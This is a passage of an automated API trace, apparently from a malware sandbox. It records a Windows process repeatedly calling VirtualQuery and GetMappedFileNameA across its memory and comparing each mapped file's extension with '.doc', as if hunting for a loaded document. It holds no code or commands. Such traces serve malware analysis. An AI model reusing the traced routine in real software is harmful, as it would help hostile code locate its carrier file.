(normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e70000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e70000, AllocationBase=0x1e70000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0xdf000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e70000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1f4f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1f4f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1f4f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1f50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1f50000, AllocationBase=0x1f50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x21000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1f50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1f71000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1f71000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1f71000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1f80000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1f80000, AllocationBase=0x1f80000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1f80000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1f9f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1f9f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1f9f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1fa0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fa0000, AllocationBase=0x1fa0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x11000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fa0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls")) returned 0x33 [0018.316] lstrcmpA (lpString1=".NLS", lpString2=".doc") returned 1 [0018.316] VirtualQuery (in: lpAddress=0x1fb1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fb1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fb1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1fc0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fc0000, AllocationBase=0x1fc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fc0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1fc5000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fc5000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fc5000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1fd0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fd0000, AllocationBase=0x1fd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fd0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1fd1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fd1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fd1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1fe0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fe0000, AllocationBase=0x1fe0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fe0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x1fe2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1fe2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1fe2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x1ff0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1ff0000, AllocationBase=0x1ff0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1ff0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x1ff1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1ff1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1ff1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2000000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2000000, AllocationBase=0x2000000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2000000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2001000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2001000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2001000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1251.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2010000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2010000, AllocationBase=0x2010000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2010000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")) returned 0x34 [0018.317] lstrcmpA (lpString1=".dll", lpString2=".doc") returned -1 [0018.317] VirtualQuery (in: lpAddress=0x2011000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2011000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2011000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2020000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2020000, AllocationBase=0x2020000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2020000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2021000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2021000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2021000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2030000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2030000, AllocationBase=0x2030000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2030000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x212c000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x212c000, AllocationBase=0x2030000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x212c000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x212e000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x212e000, AllocationBase=0x2030000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x212e000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2130000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2130000, AllocationBase=0x2130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2130000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x222c000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x222c000, AllocationBase=0x2130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x222c000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x222f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x222f000, AllocationBase=0x2130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x222f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2230000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2230000, AllocationBase=0x2230000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x3f3000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2230000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2623000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2623000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2623000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\msxml6r.dll")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2630000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2630000, AllocationBase=0x2630000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2cf000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2630000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")) returned 0x45 [0018.317] lstrcmpA (lpString1=".nls", lpString2=".doc") returned 1 [0018.317] VirtualQuery (in: lpAddress=0x28ff000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x28ff000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x28ff000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\globalization\\sorting\\sortdefault.nls")) returned 0x0 [0018.317] VirtualQuery (in: lpAddress=0x2900000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2900000, AllocationBase=0x2900000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x27000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.317] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2900000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db")) returned 0x95 [0018.318] lstrcmpA (lpString1="8.db", lpString2=".doc") returned 1 [0018.318] VirtualQuery (in: lpAddress=0x2927000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2927000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2927000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2930000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2930000, AllocationBase=0x2930000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2930000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2931000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2931000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2931000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2940000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2940000, AllocationBase=0x2940000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x11000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2940000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls")) returned 0x33 [0018.318] lstrcmpA (lpString1=".NLS", lpString2=".doc") returned 1 [0018.318] VirtualQuery (in: lpAddress=0x2951000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2951000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2951000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2960000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2960000, AllocationBase=0x2960000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2960000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2961000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2961000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2961000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2970000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2970000, AllocationBase=0x2970000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1e000, State=0x1000, 